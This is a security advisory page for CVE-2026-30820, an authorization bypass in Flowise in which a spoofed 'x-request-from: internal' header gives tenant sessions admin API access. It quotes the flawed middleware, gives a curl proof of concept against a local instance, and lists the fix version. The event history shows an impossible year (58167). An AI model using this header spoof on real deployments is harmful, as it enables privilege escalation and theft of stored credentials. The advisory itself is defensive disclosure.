CVE-2026-30820: Flowise Authorization Bypass via Spoofed x-request-from Header

Published Mar 6, 2026
·
Updated

Summary

Flowise trusts any HTTP client that sets the header x-request-from: internal, allowing an authenticated tenant session to bypass all /api/v1/ authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privileges.

Details

The global middleware that guards /api/v1 routes lives in external/Flowise/packages/server/src/index.ts:214. After filtering out the whitelist, the logic short-circuits on the spoofable header:

javascript if (isWhitelisted) { next(); } else if (req.headers['x-request-from'] === 'internal') { verifyToken(req, res, next); } else { const { isValid } = await validateAPIKey(req); if (!isValid) return res.status(401).json({ error: 'Unauthorized Access' }); … // owner context stitched from API key }

Because the middle branch blindly calls verifyToken, any tenant that already has a UI session cookie is treated as an internal client simply by adding that header. No additional permission checks are performed before next() executes, so every downstream router under /api/v1 becomes reachable.

PoC

1. Log into Flowise 3.0.8 and capture cookies (e.g., curl -c /tmp/flowisecookies.txt … /api/v1/auth/login). 2. Invoke an internal-only endpoint with the spoofed header:

bash curl -sS -b /tmp/flowisecookies.txt \ -H 'Content-Type: application/json' \ -H 'x-request-from: internal' \ -X POST http://127.0.0.1:3100/api/v1/apikey \ -d '{"keyName":"Bypass Demo"}' The server returns HTTP 200 and the newly created key object. 3. Remove the header and retry:

bash curl -sS -b /tmp/flowisecookies.txt \ -H 'Content-Type: application/json' \ -X POST http://127.0.0.1:3100/api/v1/apikey \ -d '{"keyName":"Bypass Demo"}' This yields {"error":"Unauthorized Access"}, confirming the header alone controls access.

The same spoof grants access to other privileged routes like /api/v1/credentials, /api/v1/tools, /api/v1/node-custom-function, etc.

Impact

This is an authorization bypass / privilege escalation. Any authenticated tenant (even without API keys or elevated roles) can execute internal administration APIs solely from the browser, enabling actions such as minting new API keys, harvesting stored secrets, and, when combined with other flaws (e.g., Custom Function RCE), full system compromise. All self-hosted Flowise 3.0.8 deployments that rely on the default middleware are affected.

Other sources

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to version 3.0.13, Flowise trusts any HTTP client that sets the header x-request-from: internal, allowing an authenticated tenant session to bypass all /api/v1/ authorization checks. With only a browser cookie, a low-privilege tenant can invoke internal administration endpoints (API key management, credential stores, custom function execution, etc.), effectively escalating privilege. This issue has been patched in version 3.0.13.

MITRE

Affected Software

2 affected componentsFixes available
npm/flowise<=3.0.12
3.0.13
FlowiseAI Flowise<3.0.13

Event History

Mar 6, 2026
Advisory Published
via GitHub·06:48 PM
Data Sourced
via GitHub·06:48 PM
DescriptionWeaknessAffected Software
Mar 7, 2026
CVE Published
via MITRE·05:07 AM
Data Sourced
via MITRE·05:07 AM
DescriptionWeakness
Data Sourced
via NVD·05:16 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:16 AM
Affected Software
Feb 17, 58167
Event
via FIRST·09:19 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-30820?

CVE-2026-30820 is considered a high-severity vulnerability due to its potential for unauthorized access to sensitive internal administration functions.

2

How do I fix CVE-2026-30820?

To fix CVE-2026-30820, upgrade Flowise to version 3.0.13 or later, which includes a patch for this vulnerability.

3

What impact does CVE-2026-30820 have on affected systems?

CVE-2026-30820 allows low-privilege tenants to bypass authorization checks and access internal administration endpoints using a browser session.

4

Who is affected by CVE-2026-30820?

CVE-2026-30820 affects any application utilizing Flowise versions up to and including 3.0.12.

5

What components are vulnerable in CVE-2026-30820?

CVE-2026-30820 affects the API authorization checks of Flowise when accessed with certain HTTP headers.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203